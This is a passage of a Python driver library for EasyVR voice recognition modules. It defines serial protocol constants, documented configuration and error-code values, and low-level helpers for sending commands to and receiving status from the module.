(<1>=-1) dial tone <2> for duration <3>\r\n_CMD_DUMP_SX = b'h' # dump wave table entries\r\n_CMD_DUMP_SI = b'z' # dump si settings for ws <1> (or total ws count if -1)\r\n_CMD_SEND_SN = b'j' # send sonicnet token with bits <1> index <2-3> at time <4-5>\r\n_CMD_RECV_SN = b'f' # receive sonicnet token with bits <1> rejection <2> timeout <3-4>\r\n_CMD_FAST_SD = b'f' # set sd/sv (<1>=-1) to use fast recognition <2> (0=normal/default, 1=fast)\r\n\r\n_CMD_SERVICE = b'~' # send service request\r\n_SVC_EXPORT_SD = b'X' # request export of command <2> in group <1> as raw dump\r\n_SVC_IMPORT_SD = b'I' # request import of command <2> in group <1> as raw dump\r\n_SVC_VERIFY_SD = b'V' # verify training of imported raw command <2> in group <1>\r\n\r\n_STS_SERVICE = b'~' # get service reply\r\n_SVC_DUMP_SD = b'D' # provide raw command data <1-512> followed by checksum <513-516>\r\n\r\n_STS_MASK = b'k' # mask of active groups <1-8>\r\n_STS_COUNT = b'c' # count of commands <1> (or number of ws <1>)\r\n_STS_AWAKEN = b'w' # back from power down mode\r\n_STS_DATA = b'd' # provide training <1>, conflict <2>, command label <3-35> (counted string)\r\n_STS_ERROR = b'e' # signal error code <1-2>\r\n_STS_INVALID = b'v' # invalid command or argument\r\n_STS_TIMEOUT = b't' # timeout expired\r\n_STS_LIPSYNC = b'l' # lipsync stream follows\r\n_STS_INTERR = b'i' # back from aborted recognition (see 'break')\r\n_STS_SUCCESS = b'o' # no errors status\r\n_STS_RESULT = b'r' # recognised sd command <1> - training similar to sd <1>\r\n_STS_SIMILAR = b's' # recognised si <1> (in mixed si/sd) - training similar to si <1>\r\n_STS_OUT_OF_MEM = b'm' # no more available commands (see 'group')\r\n_STS_ID = b'x' # provide version id <1>\r\n_STS_PIN = b'p' # return pin state <1>\r\n_STS_TABLE_SX = b'h' # table entries count <1-2> (10-bit), table name <3-35> (counted string)\r\n_STS_GRAMMAR = b'z' # si grammar: flags <1>, word count <2>, labels... <3-35> (n counted strings)\r\n_STS_TOKEN = b'f' # received sonicnet token <1-2>\r\n_STS_MESSAGE = b'g' # message status <1> (0=empty, 4/8=bits format), length <2-7>\r\n\r\n# protocol arguments are in the range 0x40 (-1) to 0x60 (+31) inclusive\r\n_ARG_MIN = 0x40\r\n_ARG_MAX = 0x60\r\n_ARG_ZERO = 0x41\r\n\r\n_ARG_ACK = b' ' # to read more status arguments\r\n\r\n\r\n# Define abstractions for different python environments\r\n\r\n#-if TARGET\r\n\r\n# TARGET symbol is always defined by Zerynth compiler\r\n# On different python environments both code sections are executed,\r\n# so the following functions will be overwritten\r\n\r\ndef _available(stream):\r\n return stream.available()\r\n\r\ndef _delay(ms):\r\n sleep(ms)\r\n\r\n#-else\r\n\r\n_api = False\r\ntry:\r\n # use CPython/circuitpython\r\n from time import sleep\r\n def _delay(ms):\r\n sleep(0.001*ms)\r\n def _available(stream):\r\n return stream.in_waiting\r\n _api = True\r\nexcept:\r\n pass\r\nif not _api:\r\n try:\r\n # use micropython\r\n from utime import sleep_ms\r\n def _delay(ms):\r\n sleep_ms(ms)\r\n def _available(stream):\r\n return stream.any()\r\n _api = True\r\n except:\r\n pass\r\nif not _api:\r\n raise RuntimeException # python api not supported\r\ndel _api\r\n\r\n#-endif\r\n\r\nclass EasyVR():\r\n \"\"\"\r\n.. class:: EasyVR\r\n\r\n The EasyVR class implements the serial communication protocol of the EasyVR series of voice recognition modules.\r\n \r\n Some class attributes here below can be used as arguments to EasyVR object's methods and to test returned values.\r\n \r\n.. _ModuleId:\r\n\r\n **ModuleId** - Module identification number (firmware version):\r\n \r\n * ``VRBOT`` Identifies a VRbot module \r\n * ``EASYVR`` Identifies an EasyVR module \r\n * ``EASYVR2`` Identifies an EasyVR module version 2 \r\n * ``EASYVR2_3`` Identifies an EasyVR module version 2, firmware revision 3 \r\n * ``EASYVR3`` Identifies an EasyVR module version 3, firmware revision 0 \r\n * ``EASYVR3_1`` Identifies an EasyVR module version 3, firmware revision 1 \r\n * ``EASYVR3_2`` Identifies an EasyVR module version 3, firmware revision 2 \r\n * ``EASYVR3_3`` Identifies an EasyVR module version 3, firmware revision 3 \r\n * ``EASYVR3_4`` Identifies an EasyVR module version 3, firmware revision 4 \r\n * ``EASYVR3_5`` Identifies an EasyVR module version 3, firmware revision 5 \r\n * ``EASYVR3PLUS`` Identifies an EasyVR module version 3+, firmware revision 0 \r\n \r\n.. _Language:\r\n\r\n **Language** - Language to use for recognition of built-in words:\r\n \r\n * ``ENGLISH`` Uses the US English word sets \r\n * ``ITALIAN`` Uses the Italian word sets \r\n * ``JAPANESE`` Uses the Japanese word sets \r\n * ``GERMAN`` Uses the German word sets \r\n * ``SPANISH`` Uses the Spanish word sets \r\n * ``FRENCH`` Uses the French word sets \r\n \r\n.. _Group:\r\n\r\n **Group** - Special group numbers for recognition of custom commands:\r\n \r\n * ``TRIGGER`` The trigger group (shared with built-in trigger word) \r\n * ``PASSWORD`` The password group (uses speaker verification technology) \r\n \r\n.. _Wordset:\r\n\r\n **Wordset** - Index of built-in word sets:\r\n \r\n * ``TRIGGER_SET`` The built-in trigger word set \r\n * ``ACTION_SET`` The built-in action word set \r\n * ``DIRECTION_SET`` The built-in direction word set \r\n * ``NUMBER_SET`` The built-in number word set \r\n \r\n.. _Distance:\r\n\r\n **Distance** - Microphone distance from the user's mouth, used by all recognition technologies:\r\n \r\n * ``HEADSET`` Nearest range (around 5cm) \r\n * ``ARMS_LENGTH`` Medium range (from about 50cm to 1m) \r\n * ``FAR_MIC`` Farthest range (up to 3m) \r\n \r\n.. _Knob:\r\n\r\n **Knob** - Confidence thresholds for the knob settings, used for recognition of built-in words or custom grammars (not used for the mixed trigger group):\r\n \r\n * ``LOOSER`` Lowest threshold, most results reported \r\n * ``LOOSE`` Lower threshold, more results reported \r\n * ``TYPICAL`` Typical threshold (default) \r\n * ``STRICT`` Higher threshold, fewer results reported \r\n * ``STRICTER`` Highest threshold, fewest results reported \r\n \r\n.. _Level:\r\n\r\n **Level** - Strictness values for the level settings, used for recognition of custom commands (not used for the mixed trigger group):\r\n \r\n * ``EASY`` Lowest value, most results reported \r\n * ``NORMAL`` Typical value (default) \r\n * ``HARD`` Slightly higher value, fewer results reported \r\n * ``HARDER`` Higher value, fewer results reported \r\n * ``HARDEST`` Highest value, fewest results reported \r\n \r\n.. _TrailingSilence:\r\n\r\n **TrailingSilence** - Trailing silence settings used for recognition of built-in words or custom grammars (including the mixed trigger group), in a range from 100ms to 875ms in steps of 25ms:\r\n \r\n * ``TRAILING_MIN`` Lowest value (100ms), minimum latency \r\n * ``TRAILING_DEF`` Default value (400ms) after power on or reset \r\n * ``TRAILING_MAX`` Highest value (875ms), maximum latency \r\n * ``TRAILING_100MS`` Silence duration is 100ms \r\n * ``TRAILING_200MS`` Silence duration is 200ms \r\n * ``TRAILING_300MS`` Silence duration is 300ms \r\n * ``TRAILING_400MS`` Silence duration is 400ms \r\n * ``TRAILING_500MS`` Silence duration is 500ms \r\n * ``TRAILING_600MS`` Silence duration is 600ms \r\n * ``TRAILING_700MS`` Silence duration is 700ms \r\n * ``TRAILING_800MS`` Silence duration is 800ms \r\n \r\n.. _CommandLatency:\r\n\r\n **CommandLatency** - Latency settings used for recognition of custom commands or passwords (excluding the mixed trigger group):\r\n \r\n * ``MODE_NORMAL`` Normal settings (default), higher latency \r\n * ``MODE_FAST`` Fast settings, better response time \r\n \r\n.. _Baudrate:\r\n\r\n **Baudrate** - Constants to use for baudrate settings:\r\n \r\n * ``B115200`` 115200 bps \r\n * ``B57600`` 57600 bps \r\n * ``B38400`` 38400 bps \r\n * ``B19200`` 19200 bps \r\n * ``B9600`` 9600 bps (default) \r\n \r\n.. _WakeMode:\r\n\r\n **WakeMode** - Constants for choosing wake-up method in sleep mode:\r\n \r\n * ``WAKE_ON_CHAR`` Wake up on any character received \r\n * ``WAKE_ON_WHISTLE`` Wake up on whistle or any character received \r\n * ``WAKE_ON_LOUDSOUND`` Wake up on a loud sound or any character received \r\n * ``WAKE_ON_2CLAPS`` Wake up on double hands-clap or any character received \r\n * ``WAKE_ON_3CLAPS`` Wake up on triple hands-clap or any character received \r\n \r\n.. _ClapSense:\r\n\r\n **ClapSense** - Hands-clap sensitivity for wakeup from sleep mode. Use in combination with ``WAKE_ON_2CLAPS`` or ``WAKE_ON_3CLAPS``:\r\n \r\n * ``CLAP_SENSE_LOW`` Lowest threshold \r\n * ``CLAP_SENSE_MID`` Typical threshold \r\n * ``CLAP_SENSE_HIGH`` Highest threshold \r\n \r\n.. _PinConfig:\r\n\r\n **PinConfig** - Pin configuration options for the extra I/O connector:\r\n \r\n * ``OUTPUT_LOW`` Pin is an output at low level (0V) \r\n * ``OUTPUT_HIGH`` Pin is an output at high level (3V) \r\n * ``INPUT_HIZ`` Pin is an high impedance input \r\n * ``INPUT_STRONG`` Pin is an input with strong pull-up (~10K) \r\n * ``INPUT_WEAK`` Pin is an input with weak pull-up (~200K) \r\n \r\n.. _PinNumber:\r\n\r\n **PinNumber** - Available pin numbers on the extra I/O connector:\r\n \r\n * ``IO1`` Identifier of pin IO1 \r\n * ``IO2`` Identifier of pin IO2 \r\n * ``IO3`` Identifier of pin IO3 \r\n * ``IO4`` Identifier of pin IO4 [only EasyVR3] \r\n * ``IO5`` Identifier of pin IO5 [only EasyVR3] \r\n * ``IO6`` Identifier of pin IO6 [only EasyVR3] \r\n \r\n.. _SoundVolume:\r\n\r\n **SoundVolume** - Some quick volume settings for the sound playback functions (any value in the range 0-31 can be used):\r\n \r\n * ``VOL_MIN`` Lowest volume (almost mute) \r\n * ``VOL_HALF`` Half scale volume (softer) \r\n * ``VOL_FULL`` Full scale volume (normal) \r\n * ``VOL_DOUBLE`` Double gain volume (louder) \r\n \r\n.. _SoundIndex:\r\n\r\n **SoundIndex** - Special sound index values, always available even when no soundtable is present:\r\n \r\n * ``BEEP`` Beep sound \r\n \r\n.. _GrammarFlag:\r\n\r\n **GrammarFlag** - Flags used by custom grammars:\r\n \r\n * ``GF_TRIGGER`` A bit mask that indicate grammar is a trigger (opposed to commands) \r\n \r\n.. _RejectionLevel:\r\n\r\n **RejectionLevel** - Noise rejection level for SonicNet token detection (higher value, fewer results):\r\n \r\n * ``REJECTION_MIN`` Lowest noise rejection, highest sensitivity \r\n * ``REJECTION_AVG`` Medium noise rejection, medium sensitivity \r\n * ``REJECTION_MAX`` Highest noise rejection, lowest sensitivity \r\n \r\n.. _MessageSpeed:\r\n\r\n **MessageSpeed** - Playback speed for recorded messages:\r\n \r\n * ``SPEED_NORMAL`` Normal playback speed \r\n * ``SPEED_FASTER`` Faster playback speed \r\n \r\n.. _MessageAttenuation:\r\n\r\n **MessageAttenuation** - Playback attenuation for recorded messages:\r\n \r\n * ``ATTEN_NONE`` No attenuation (normalized volume) \r\n * ``ATTEN_2DB2`` Attenuation of -2.2dB \r\n * ``ATTEN_4DB5`` Attenuation of -4.5dB \r\n * ``ATTEN_6DB7`` Attenuation of -6.7dB \r\n \r\n.. _MessageType:\r\n\r\n **MessageType** - Type of recorded message:\r\n \r\n * ``MSG_EMPTY`` Empty message slot \r\n * ``MSG_8BIT`` Message recorded with 8-bits PCM \r\n \r\n.. _LipsyncThreshold:\r\n\r\n **LipsyncThreshold** - Threshold for real-time lip-sync:\r\n \r\n * ``RTLS_THRESHOLD_DEF`` Default threshold \r\n * ``RTLS_THRESHOLD_MAX`` Maximum threshold \r\n \r\n.. _ErrorCode:\r\n\r\n **ErrorCode** - Error codes used by various functions:\r\n \r\n *Data collection errors (patgen, wordspot, t2si)*\r\n * ``ERR_DATACOL_TOO_LONG`` too long (memory overflow) \r\n * ``ERR_DATACOL_TOO_NOISY`` too noisy \r\n * ``ERR_DATACOL_TOO_SOFT`` spoke too soft \r\n * ``ERR_DATACOL_TOO_LOUD`` spoke too loud \r\n * ``ERR_DATACOL_TOO_SOON`` spoke too soon \r\n * ``ERR_DATACOL_TOO_CHOPPY`` too many segments/too complex \r\n * ``ERR_DATACOL_BAD_WEIGHTS`` invalid SI weights \r\n * ``ERR_DATACOL_BAD_SETUP`` invalid setup \r\n\r\n *Recognition errors (si, sd, sv, train, t2si)*\r\n * ``ERR_RECOG_FAIL`` recognition failed \r\n * ``ERR_RECOG_LOW_CONF`` recognition result doubtful \r\n * ``ERR_RECOG_MID_CONF`` recognition result maybe \r\n * ``ERR_RECOG_BAD_TEMPLATE`` invalid SD/SV template \r\n * ``ERR_RECOG_BAD_WEIGHTS`` invalid SI weights \r\n * ``ERR_RECOG_DURATION`` incompatible pattern durations \r\n\r\n *T2si errors (t2si)*\r\n * ``ERR_T2SI_EXCESS_STATES`` state structure is too big \r\n * ``ERR_T2SI_BAD_VERSION`` RSC code version/Grammar ROM dont match \r\n * ``ERR_T2SI_OUT_OF_RAM`` reached limit of available RAM \r\n * ``ERR_T2SI_UNEXPECTED`` an unexpected error occurred \r\n * ``ERR_T2SI_OVERFLOW`` ran out of time to process \r\n * ``ERR_T2SI_PARAMETER`` bad macro or grammar parameter \r\n\r\n * ``ERR_T2SI_NN_TOO_BIG`` layer size out of limits \r\n * ``ERR_T2SI_NN_BAD_VERSION`` net structure incompatibility \r\n * ``ERR_T2SI_NN_NOT_READY`` initialization not complete \r\n * ``ERR_T2SI_NN_BAD_LAYERS`` not correct number of layers \r\n\r\n * ``ERR_T2SI_TRIG_OOV`` trigger recognized Out Of Vocabulary \r\n * ``ERR_T2SI_TOO_SHORT`` utterance was too short \r\n\r\n *Record and Play errors (standard RP and messaging)*\r\n * ``ERR_RP_BAD_LEVEL`` play - illegal compression level \r\n * ``ERR_RP_NO_MSG`` play, erase, copy - msg doesn't exist \r\n * ``ERR_RP_MSG_EXISTS`` rec, copy - msg already exists \r\n\r\n *Synthesis errors (talk, sxtalk)*\r\n * ``ERR_SYNTH_BAD_VERSION`` bad release number in speech file \r\n * ``ERR_SYNTH_ID_NOT_SET`` (obsolete) bad sentence structure \r\n * ``ERR_SYNTH_TOO_MANY_TABLES`` (obsolete) too many talk tables \r\n * ``ERR_SYNTH_BAD_SEN`` (obsolete) bad sentence number \r\n * ``ERR_SYNTH_BAD_MSG`` bad message data or SX technology files missing \r\n\r\n *Custom errors*\r\n * ``ERR_CUSTOM_NOTA`` none of the above (out of grammar) \r\n * ``ERR_CUSTOM_INVALID`` invalid data (for memory check) \r\n\r\n *Internal errors (all)*\r\n * ``ERR_SW_STACK_OVERFLOW`` no room left in software stack \r\n * ``ERR_INTERNAL_T2SI_BAD_SETUP`` T2SI test mode error \r\n \r\n.. _BridgeMode:\r\n\r\n **BridgeMode** - Type of Bridge mode requested :\r\n \r\n * ``BRIDGE_NONE`` Bridge mode has not been requested \r\n * ``BRIDGE_NORMAL`` Normal bridge mode (EasyVR baudrate 9600) \r\n * ``BRIDGE_BOOT`` Bridge mode for EasyVR bootloader (baudrate 115200) \r\n * ``BRIDGE_ESCAPE_CHAR`` Special character to enter/exit Bridge mode \r\n\r\n \"\"\"\r\n\r\n # status flags\r\n _is_command = 0x001\r\n _is_builtin = 0x002\r\n _is_error = 0x004\r\n _is_timeout = 0x008\r\n _is_invalid = 0x010\r\n _is_memfull = 0x020\r\n _is_conflict = 0x040\r\n _is_token = 0x080\r\n _is_awakened = 0x100\r\n\r\n # timeout constants\r\n _NO_TIMEOUT = 0\r\n _INFINITE = -1\r\n\r\n # overridable constants\r\n DEF_TIMEOUT = 200\r\n WAKE_TIMEOUT = 300\r\n PLAY_TIMEOUT = 5000\r\n TOKEN_TIMEOUT = 1500\r\n STORAGE_TIMEOUT = 500\r\n\r\n \"\"\" Module identification number (firmware version) \"\"\"\r\n VRBOT = 0 #: Identifies a VRbot module\r\n EASYVR = 1 #: Identifies an EasyVR module\r\n EASYVR2 = 2 #: Identifies an EasyVR module version 2\r\n EASYVR2_3 = 3 #: Identifies an EasyVR module version 2, firmware revision 3\r\n EASYVR3 = 8 #: Identifies an EasyVR module version 3, firmware revision 0\r\n EASYVR3_1 = 9 #: Identifies an EasyVR module version 3, firmware revision 1\r\n EASYVR3_2 = 10 #: Identifies an EasyVR module version 3, firmware revision 2\r\n EASYVR3_3 = 11 #: Identifies an EasyVR module version 3, firmware revision 3\r\n EASYVR3_4 = 12 #: Identifies an EasyVR module version 3, firmware revision 4\r\n EASYVR3_5 = 13 #: Identifies an EasyVR module version 3, firmware revision 5\r\n EASYVR3PLUS = 16 #: Identifies an EasyVR module version 3+, firmware revision 0\r\n\r\n \"\"\" Language to use for recognition of built-in words \"\"\"\r\n ENGLISH = 0 #: Uses the US English word sets\r\n ITALIAN = 1 #: Uses the Italian word sets\r\n JAPANESE = 2 #: Uses the Japanese word sets\r\n GERMAN = 3 #: Uses the German word sets\r\n SPANISH = 4 #: Uses the Spanish word sets\r\n FRENCH = 5 #: Uses the French word sets\r\n\r\n \"\"\" Special group numbers for recognition of custom commands \"\"\"\r\n TRIGGER = 0 #: The trigger group (shared with built-in trigger word)\r\n PASSWORD = 16 #: The password group (uses speaker verification technology)\r\n\r\n \"\"\" Index of built-in word sets \"\"\"\r\n TRIGGER_SET = 0 #: The built-in trigger word set\r\n ACTION_SET = 1 #: The built-in action word set\r\n DIRECTION_SET = 2 #: The built-in direction word set\r\n NUMBER_SET = 3 #: The built-in number word set\r\n\r\n \"\"\" Microphone distance from the user's mouth,\r\n used by all recognition technologies \"\"\"\r\n HEADSET = 1 #: Nearest range (around 5cm)\r\n ARMS_LENGTH = 2 #: Medium range (from about 50cm to 1m)\r\n FAR_MIC = 3 #: Farthest range (up to 3m)\r\n\r\n \"\"\" Confidence thresholds for the knob settings,\r\n used for recognition of built-in words or custom grammars\r\n (not used for the mixed trigger group) \"\"\"\r\n LOOSER = 0 #: Lowest threshold, most results reported\r\n LOOSE = 1 #: Lower threshold, more results reported\r\n TYPICAL = 2 #: Typical threshold (default)\r\n STRICT = 3 #: Higher threshold, fewer results reported\r\n STRICTER = 4 #: Highest threshold, fewest results reported\r\n\r\n \"\"\" Strictness values for the level settings,\r\n used for recognition of custom commands\r\n (not used for the mixed trigger group) \"\"\"\r\n EASY = 1 #: Lowest value, most results reported\r\n NORMAL = 2 #: Typical value (default)\r\n HARD = 3 #: Slightly higher value, fewer results reported\r\n HARDER = 4 #: Higher value, fewer results reported\r\n HARDEST = 5 #: Highest value, fewest results reported\r\n\r\n \"\"\" Trailing silence settings used for recognition of built-in words or\r\n custom grammars (including the mixed trigger group), in a range from\r\n 100ms to 875ms in steps of 25ms. \"\"\"\r\n TRAILING_MIN = 0 #: Lowest value (100ms), minimum latency\r\n TRAILING_DEF = 12 #: Default value (400ms) after power on or reset\r\n TRAILING_MAX = 31 #: Highest value (875ms), maximum latency\r\n TRAILING_100MS = 0 #: Silence duration is 100ms\r\n TRAILING_200MS = 4 #: Silence duration is 200ms\r\n TRAILING_300MS = 8 #: Silence duration is 300ms\r\n TRAILING_400MS = 12 #: Silence duration is 400ms\r\n TRAILING_500MS = 16 #: Silence duration is 500ms\r\n TRAILING_600MS = 20 #: Silence duration is 600ms\r\n TRAILING_700MS = 24 #: Silence duration is 700ms\r\n TRAILING_800MS = 28 #: Silence duration is 800ms\r\n\r\n \"\"\" Latency settings used for recognition of custom commands or passwords\r\n (excluding the mixed trigger group) \"\"\"\r\n MODE_NORMAL = 0 #: Normal settings (default), higher latency\r\n MODE_FAST = 1 #: Fast settings, better response time\r\n\r\n \"\"\" Constants to use for baudrate settings \"\"\"\r\n B115200 = 1 #: 115200 bps\r\n B57600 = 2 #: 57600 bps\r\n B38400 = 3 #: 38400 bps\r\n B19200 = 6 #: 19200 bps\r\n B9600 = 12 #: 9600 bps (default)\r\n\r\n \"\"\" Constants for choosing wake-up method in sleep mode \"\"\"\r\n WAKE_ON_CHAR = 0 #: Wake up on any character received\r\n WAKE_ON_WHISTLE = 1 #: Wake up on whistle or any character received\r\n WAKE_ON_LOUDSOUND = 2 #: Wake up on a loud sound or any character received\r\n WAKE_ON_2CLAPS = 3 #: Wake up on double hands-clap or any character received\r\n WAKE_ON_3CLAPS = 6 #: Wake up on triple hands-clap or any character received\r\n\r\n \"\"\" Hands-clap sensitivity for wakeup from sleep mode.\r\n Use in combination with ``WAKE_ON_2CLAPS`` or ``WAKE_ON_3CLAPS`` \"\"\"\r\n CLAP_SENSE_LOW = 0 #: Lowest threshold\r\n CLAP_SENSE_MID = 1 #: Typical threshold\r\n CLAP_SENSE_HIGH = 2 #: Highest threshold\r\n\r\n \"\"\" Pin configuration options for the extra I/O connector \"\"\"\r\n OUTPUT_LOW = 0 #: Pin is an output at low level (0V)\r\n OUTPUT_HIGH = 1 #: Pin is an output at high level (3V)\r\n INPUT_HIZ = 2 #: Pin is an high impedance input\r\n INPUT_STRONG = 3 #: Pin is an input with strong pull-up (~10K)\r\n INPUT_WEAK = 4 #: Pin is an input with weak pull-up (~200K)\r\n\r\n \"\"\" Available pin numbers on the extra I/O connector \"\"\"\r\n IO1 = 1 #: Identifier of pin IO1\r\n IO2 = 2 #: Identifier of pin IO2\r\n IO3 = 3 #: Identifier of pin IO3\r\n IO4 = 4 #: Identifier of pin IO4 [only EasyVR3]\r\n IO5 = 5 #: Identifier of pin IO5 [only EasyVR3]\r\n IO6 = 6 #: Identifier of pin IO6 [only EasyVR3]\r\n\r\n \"\"\" Some quick volume settings for the sound playback functions\r\n (any value in the range 0-31 can be used) \"\"\"\r\n VOL_MIN = 0 #: Lowest volume (almost mute)\r\n VOL_HALF = 7 #: Half scale volume (softer)\r\n VOL_FULL = 15 #: Full scale volume (normal)\r\n VOL_DOUBLE = 31 #: Double gain volume (louder)\r\n\r\n \"\"\" Special sound index values, always available even when no soundtable is present \"\"\"\r\n BEEP = 0 #: Beep sound\r\n\r\n \"\"\" Flags used by custom grammars \"\"\"\r\n GF_TRIGGER = 0x10 #: A bit mask that indicate grammar is a trigger (opposed to commands)\r\n\r\n \"\"\" Noise rejection level for SonicNet token detection (higher value, fewer results) \"\"\"\r\n REJECTION_MIN = 0 #: Lowest noise rejection, highest sensitivity\r\n REJECTION_AVG = 1 #: Medium noise rejection, medium sensitivity\r\n REJECTION_MAX = 2 #: Highest noise rejection, lowest sensitivity\r\n\r\n \"\"\" Playback speed for recorded messages \"\"\"\r\n SPEED_NORMAL = 0 #: Normal playback speed\r\n SPEED_FASTER = 1 #: Faster playback speed\r\n\r\n \"\"\" Playback attenuation for recorded messages \"\"\"\r\n ATTEN_NONE = 0 #: No attenuation (normalized volume)\r\n ATTEN_2DB2 = 1 #: Attenuation of -2.2dB\r\n ATTEN_4DB5 = 2 #: Attenuation of -4.5dB\r\n ATTEN_6DB7 = 3 #: Attenuation of -6.7dB\r\n\r\n \"\"\" Type of recorded message \"\"\"\r\n MSG_EMPTY = 0 #: Empty message slot\r\n MSG_8BIT = 8 #: Message recorded with 8-bits PCM\r\n\r\n \"\"\" Threshold for real-time lip-sync \"\"\"\r\n RTLS_THRESHOLD_DEF = 270 #: Default threshold\r\n RTLS_THRESHOLD_MAX = 1023 #: Maximum threshold\r\n\r\n \"\"\" Error codes used by various functions \"\"\"\r\n ## 0x: Data collection errors (patgen, wordspot, t2si)\r\n ERR_DATACOL_TOO_LONG = 0x02 #: too long (memory overflow)\r\n ERR_DATACOL_TOO_NOISY = 0x03 #: too noisy\r\n ERR_DATACOL_TOO_SOFT = 0x04 #: spoke too soft\r\n ERR_DATACOL_TOO_LOUD = 0x05 #: spoke too loud\r\n ERR_DATACOL_TOO_SOON = 0x06 #: spoke too soon\r\n ERR_DATACOL_TOO_CHOPPY = 0x07 #: too many segments/too complex\r\n ERR_DATACOL_BAD_WEIGHTS = 0x08 #: invalid SI weights\r\n ERR_DATACOL_BAD_SETUP = 0x09 #: invalid setup\r\n\r\n ## 1x: Recognition errors (si, sd, sv, train, t2si)\r\n ERR_RECOG_FAIL = 0x11 #: recognition failed\r\n ERR_RECOG_LOW_CONF = 0x12 #: recognition result doubtful\r\n ERR_RECOG_MID_CONF = 0x13 #: recognition result maybe\r\n ERR_RECOG_BAD_TEMPLATE = 0x14 #: invalid SD/SV template\r\n ERR_RECOG_BAD_WEIGHTS = 0x15 #: invalid SI weights\r\n ERR_RECOG_DURATION = 0x17 #: incompatible pattern durations\r\n\r\n ## 2x: T2si errors (t2si)\r\n ERR_T2SI_EXCESS_STATES = 0x21 #: state structure is too big\r\n ERR_T2SI_BAD_VERSION = 0x22 #: RSC code version/Grammar ROM dont match\r\n ERR_T2SI_OUT_OF_RAM = 0x23 #: reached limit of available RAM\r\n ERR_T2SI_UNEXPECTED = 0x24 #: an unexpected error occurred\r\n ERR_T2SI_OVERFLOW = 0x25 #: ran out of time to process\r\n ERR_T2SI_PARAMETER = 0x26 #: bad macro or grammar parameter\r\n\r\n ERR_T2SI_NN_TOO_BIG = 0x29 #: layer size out of limits\r\n ERR_T2SI_NN_BAD_VERSION = 0x2A #: net structure incompatibility\r\n ERR_T2SI_NN_NOT_READY = 0x2B #: initialization not complete\r\n ERR_T2SI_NN_BAD_LAYERS = 0x2C #: not correct number of layers\r\n\r\n ERR_T2SI_TRIG_OOV = 0x2D #: trigger recognized Out Of Vocabulary\r\n ERR_T2SI_TOO_SHORT = 0x2F #: utterance was too short\r\n\r\n ## 3x: Record and Play errors (standard RP and messaging)\r\n ERR_RP_BAD_LEVEL = 0x31 #: play - illegal compression level\r\n ERR_RP_NO_MSG = 0x38 #: play, erase, copy - msg doesn't exist\r\n ERR_RP_MSG_EXISTS = 0x39 #: rec, copy - msg already exists\r\n\r\n ## 4x: Synthesis errors (talk, sxtalk)\r\n ERR_SYNTH_BAD_VERSION = 0x4A #: bad release number in speech file\r\n ERR_SYNTH_ID_NOT_SET = 0x4B #: (obsolete) bad sentence structure\r\n ERR_SYNTH_TOO_MANY_TABLES = 0x4C #: (obsolete) too many talk tables\r\n ERR_SYNTH_BAD_SEN = 0x4D #: (obsolete) bad sentence number\r\n ERR_SYNTH_BAD_MSG = 0x4E #: bad message data or SX technology files missing\r\n\r\n ## 8x: Custom errors\r\n ERR_CUSTOM_NOTA = 0x80 #: none of the above (out of grammar)\r\n ERR_CUSTOM_INVALID = 0x81 #: invalid data (for memory check)\r\n\r\n ## Cx: Internal errors (all)\r\n ERR_SW_STACK_OVERFLOW = 0xC0 #: no room left in software stack\r\n ERR_INTERNAL_T2SI_BAD_SETUP = 0xCC #: T2SI test mode error\r\n\r\n \"\"\" Type of Bridge mode requested \"\"\"\r\n BRIDGE_NONE = 0 #: Bridge mode has not been requested\r\n BRIDGE_NORMAL = 1 #: Normal bridge mode (EasyVR baudrate 9600)\r\n BRIDGE_BOOT = 2 #: Bridge mode for EasyVR bootloader (baudrate 115200)\r\n\r\n BRIDGE_ESCAPE_CHAR = b'?' #: Special character to enter/exit Bridge mode\r\n\r\n\r\n # internal functions\r\n\r\n def _flush(self):\r\n while True:\r\n a = _available(self._s)\r\n if a > 0:\r\n self._s.read(a)\r\n else:\r\n break\r\n\r\n def _send(self, c):\r\n _delay(1)\r\n self._s.write(c)\r\n\r\n def _sendCmd(self, c):\r\n self._flush()\r\n self._send(c)\r\n\r\n def _sendArg(self, i):\r\n self._send(bytes([i + _ARG_ZERO]))\r\n\r\n def _sendGroup(self, i):\r\n self._send(bytes([i + _ARG_ZERO]))\r\n if i != self._group:\r\n self._group = i\r\n # worst case time to cache a full group in memory\r\n if self._id >= EasyVR.EASYVR3PLUS:\r\n _delay(79)\r\n elif self._id >= EasyVR.EASYVR3:\r\n _delay(39)\r\n else:\r\n _delay(19)\r\n\r\n def _recv(self, timeout = _INFINITE):\r\n while timeout != 0 and _available(self._s) <= 0:\r\n _delay(1)\r\n if timeout > 0:\r\n timeout -= 1\r\n\r\n if _available(self._s) > 0:\r\n r = self._s.read()\r\n #print(r)\r\n return r\r\n raise TimeoutError\r\n\r\n def _recvArg(self):\r\n self._send(_ARG_ACK)\r\n r = self._recv(EasyVR.DEF_TIMEOUT)[0]\r\n if r < _ARG_MIN and r > _ARG_MAX:\r\n raise ValueError\r\n c = r - _ARG_ZERO\r\n return c\r\n\r\n def _readStatus(self,rx):\r\n self._status = 0\r\n self._value = 0\r\n\r\n if rx == _STS_SUCCESS:\r\n return\r\n\r\n if rx == _STS_SIMILAR:\r\n self._status |= EasyVR._is_builtin\r\n self._value = self._recvArg()\r\n return\r\n\r\n if rx == _STS_RESULT:\r\n self._status |= EasyVR._is_command\r\n self._value = self._recvArg()\r\n return\r\n\r\n if rx == _STS_TOKEN:\r\n self._status |= EasyVR._is_token\r\n self._value = self._recvArg() << 5\r\n self._value |= self._recvArg()\r\n return\r\n\r\n if rx == _STS_AWAKEN:\r\n self._status |= EasyVR._is_awakened\r\n return\r\n\r\n if rx == _STS_TIMEOUT:\r\n self._status |= EasyVR._is_timeout\r\n return\r\n\r\n if rx == _STS_INVALID:\r\n self._status |= EasyVR._is_invalid\r\n return\r\n\r\n if rx == _STS_ERROR:\r\n self._status |= EasyVR._is_error\r\n self._value = self._recvArg() << 4\r\n self._value |= self._recvArg()\r\n return\r\n\r\n # unexpected condition (communication error)\r\n self._status |= EasyVR._is_error\r\n raise ValueError\r\n\r\n\r\n def __init__(self,stream):\r\n \"\"\"\r\n.. method:: __init__(stream)\r\n\r\n Creates an EasyVR object, using a communication object implementing the\r\n *Stream* interface (such as *Serial*).\r\n\r\n :param stream: the *Stream* object to use for communication with the EasyVR module\r\n \"\"\"\r\n\r\n self._s = stream\r\n self._value = -1\r\n self._group = -1\r\n self._id = -1\r\n self._status = 0\r\n\r\n\r\n def detect(self):\r\n \"\"\"\r\n.. method:: detect()\r\n\r\n Detects an EasyVR module, waking it from sleep mode and checking\r\n it responds correctly.\r\n\r\n :return: *True* if a compatible module has been found\r\n 